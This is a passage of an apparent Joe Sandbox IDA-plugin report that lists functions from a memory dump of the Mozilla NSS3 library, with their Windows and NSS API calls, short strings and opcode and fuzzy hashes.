PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E), ref: 6C66ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C66AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C66AD2B

Part of subcall function 6C64F360: TlsGetValue.KERNEL32(00000000,?,6C66A904,?), ref: 6C64F38B
Part of subcall function 6C64F360: EnterCriticalSection.KERNEL32(?,?,?,6C66A904,?), ref: 6C64F3A0
Part of subcall function 6C64F360: PR_Unlock.NSS3(?,?,?,?,6C66A904,?), ref: 6C64F3D3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction ID: 4a42982557a02c0e0eac3f5df7303663cc7fd8b7f93f32373fbd7d3cd9073013
Opcode Fuzzy Hash: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction Fuzzy Hash: 6A3129B1E002295FEB009F26CC409AF77A6AF8571CB188128E81557B41EB31DD15C7AA

Function 6C622920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C62294E

Part of subcall function 6C681820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C621D97,?,?), ref: 6C681836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C62296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C622991

Part of subcall function 6C681820: PR_SetError.NSS3(FFFFE005,00000000,?,6C621D97,?,?), ref: 6C68184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C6229AF
PR_Now.NSS3 ref: 6C622A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622A79

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 52c4e94cf5946d7b13e1767747b763dc1d2ab347f0fdf747214ec92c58ddd0b2
Instruction ID: db5f62a81a3a6f6a56a99905f5c44c77057aff6430125fb6e0650276cc3e647e
Opcode Fuzzy Hash: 52c4e94cf5946d7b13e1767747b763dc1d2ab347f0fdf747214ec92c58ddd0b2
Instruction Fuzzy Hash: BF41B271E193119FC710CF28C840A8FB3E5AFC9768F554A2DF89993700E734E9098B9A

Function 6C648C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C648C7C

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C648CB0
TlsGetValue.KERNEL32 ref: 6C648CD1
EnterCriticalSection.KERNEL32(?), ref: 6C648CE5
PR_Unlock.NSS3(?), ref: 6C648D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C648D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C648D93

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction ID: f9966b4d9b1da319804c095abcc1fcb01f56ea10c43a1bfb63947d7a3dd2bacb
Opcode Fuzzy Hash: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction Fuzzy Hash: 60314871E02205AFD7009F68DC447DAB7B4FF49318F248136EA19A7B60D770A924C7D9

Function 6C67DC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C67D9E4,00000000), ref: 6C67DC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C67DC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C67DCAD

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction ID: 7939460665a5331e5bd0ca4f38bb8c4956ab33669c06ac9bb185e9e499f28889
Opcode Fuzzy Hash: ed6bec55878712c03f62cb47e61cec5eb2b5de79e3ac4fbc12bc22606d4f5279
Instruction Fuzzy Hash: AC317EB5A012049FE720CF19D884B96B7F8AF05358F248C29E94CCBB41E772E944CBB5

Function 6C642E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C63E728,?,00000038,?,?,00000000), ref: 6C642E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C642E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C642E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C642E9E
PR_Unlock.NSS3(?), ref: 6C642EAB
PR_Unlock.NSS3(?), ref: 6C642F0D

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction ID: fb928060a97d5b9df75f0523944df523bd7b643ba2bd1a8138f536a746e5cc5c
Opcode Fuzzy Hash: 68ad93198e6cc35f521a1d5ca3f206f1e17410b044ebab060134ff386d4b4744
Instruction Fuzzy Hash: CE3104B5A00505ABEB015F28D8448BAB775EF4A359B64C1B4EC08C7A21EB31EC64C7E5

Function 6C68CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C68CD93,?), ref: 6C68CEEE

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
Part of subcall function 6C6814C0: PR_Unlock.NSS3 ref: 6C68150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C68CD93,?), ref: 6C68CEFC

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C68CD93,?), ref: 6C68CF0B

Part of subcall function 6C680840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6808B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C68CD93,?), ref: 6C68CF1D

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C68CD93,?,?,?,?,?,?,?,?,?,?,?,6C68CD93,?), ref: 6C68CF78

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: deb9eec5a50a1059c9f20aa298a14e69f739689f68bd3153e551b459d853b6a1
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 0811E7B1E022046BFB10AA667C41B6B75EC9F4974DF104139EC0AD7741FB60D90886BA

Function 6C638C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C638C1B
EnterCriticalSection.KERNEL32 ref: 6C638C34
PL_ArenaAllocate.NSS3 ref: 6C638C65
PR_Unlock.NSS3 ref: 6C638C9C
PR_Unlock.NSS3 ref: 6C638CB6

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Strings

KRAM, xrefs: 6C638C8F

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction ID: a815c7eb56338e56bbc3183025e6676c79f4b2c40908027420f8348e71f2e3bc
Opcode Fuzzy Hash: 6e4a75a9868956ae59bca00a510575fb25b0293953c11c510dd85bf3d8860fff
Instruction Fuzzy Hash: 242156B1A056118FD700AF78C484599B7F4FF49304F15A96ED888CB721DB35D885CF9A

Function 6C648E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EA2

Part of subcall function 6C66F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C66F854
Part of subcall function 6C66F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C66F868
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C66F882
Part of subcall function 6C66F820: free.MOZGLUE(04C483FF,?,?), ref: 6C66F889
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C66F8A4
Part of subcall function 6C66F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C66F8AB
Part of subcall function 6C66F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C66F8C9
Part of subcall function 6C66F820: free.MOZGLUE(280F10EC,?,?), ref: 6C66F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EC3
TlsGetValue.KERNEL32(?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?,?,6C634F1C), ref: 6C648EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C662E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C648EF1
PR_Unlock.NSS3 ref: 6C648F20

Strings

b.fl, xrefs: 6C648E96, 6C648F25

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.fl
API String ID: 1978757487-4112214572
Opcode ID: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction ID: 262b6fb66c7b5e4ad539f72c5bfa7ea6b7f1412f05478dc1a2eb514a62489b25
Opcode Fuzzy Hash: a7f6328196c06331ccbbf34d5f954c71974eb950bcaaca039138bbdfc230d1e9
Instruction Fuzzy Hash: F0216B70A097059BC700AF29D184699BBF4FF49358F01856EE898DBB50D730E854CBDA

Function 6C678970 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6C6261C4,?,6C625639,00000000), ref: 6C678991
TlsGetValue.KERNEL32(?,?,?,?,?,6C625639,00000000), ref: 6C6789AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6C625639,00000000), ref: 6C6789C6
PR_WaitCondVar.NSS3 ref: 6C6789F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6C625639,00000000), ref: 6C678A0C

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

9Vbl, xrefs: 6C678986

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID: 9Vbl
API String ID: 2759447159-3617136227
Opcode ID: 4925b5fe9da875708d63387841ffdbe098a321421077ea99b557f29fe62eff25
Instruction ID: 66b2af2a73d8085910a0bbdb909405e8a90e53393539fcae5e0a9b47bf3e27d2
Opcode Fuzzy Hash: 4925b5fe9da875708d63387841ffdbe098a321421077ea99b557f29fe62eff25
Instruction Fuzzy Hash: 202160B0A04605CFCF11AF7CC4841A9BBF4FF0A359F114A66DC98A7615E730D894CBA6

Function 6C732C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C732CA0
PR_ExitMonitor.NSS3 ref: 6C732CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C732CD1
strdup.MOZGLUE(?), ref: 6C732CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C732D27

Strings

Loaded library %s (static lib), xrefs: 6C732D22

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction ID: 56f84048684db3e74218dab4aef6e6be26883f57d961bba387458a9e064674ef
Opcode Fuzzy Hash: af7d779495892867a0f1fc3c9ba4ab8a26cf33ee7e90655a158b7f3253066261
Instruction Fuzzy Hash: FE1193B17062609BEB018F15D9496A677B4AB8631EF24813DD95DC7B43DB31D808CBE1

Function 6C6268E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6268FB
EnterCriticalSection.KERNEL32 ref: 6C626913
PORT_FreeArena_Util.NSS3 ref: 6C62693E
PR_Unlock.NSS3 ref: 6C626946
DeleteCriticalSection.KERNEL32 ref: 6C626951
free.MOZGLUE ref: 6C62695D
PR_Unlock.NSS3 ref: 6C626968

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 8f97dfb90c4c6fd7e0a5eab8644a0387c4e3ff80627c6c6693fc12ddff23e1b3
Instruction ID: 46134cd3347dd810f9a2185d3a06bb286527f3a722494c2882e2b2a1737eb8cf
Opcode Fuzzy Hash: 8f97dfb90c4c6fd7e0a5eab8644a0387c4e3ff80627c6c6693fc12ddff23e1b3
Instruction Fuzzy Hash: 74114CB1A046169FDB01AF78C48856EBBF4FF06345F054578D898DB601EB34D488DBE6

Function 6C680FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016

Part of subcall function 6C6E98D0: calloc.MOZGLUE(00000001,00000084,6C610936,00000001,?,6C61102C), ref: 6C6E98E5

PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B
TlsGetValue.KERNEL32(00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681044
free.MOZGLUE(00000000,?,00000800,6C61EF74,00000000), ref: 6C681064

Strings

security, xrefs: 6C681025

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction ID: 0ad40f94b6c2a2b40ccb5a592c3a7072dd29388837b5d4c928dd49ca28600ad0
Opcode Fuzzy Hash: d63ab862d2b92607297cd74e172a353170aa1ae8d8a38219087a79b9049b9107
Instruction Fuzzy Hash: A7014470A422549BEB212F2C9C04B963A68BF0778AF010536E92896A61EF60C154DBF9

Function 6C6B1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6B1C74

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C6B1C92
free.MOZGLUE(?), ref: 6C6B1C99
DeleteCriticalSection.KERNEL32(?), ref: 6C6B1CCB
free.MOZGLUE(?), ref: 6C6B1CD2

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
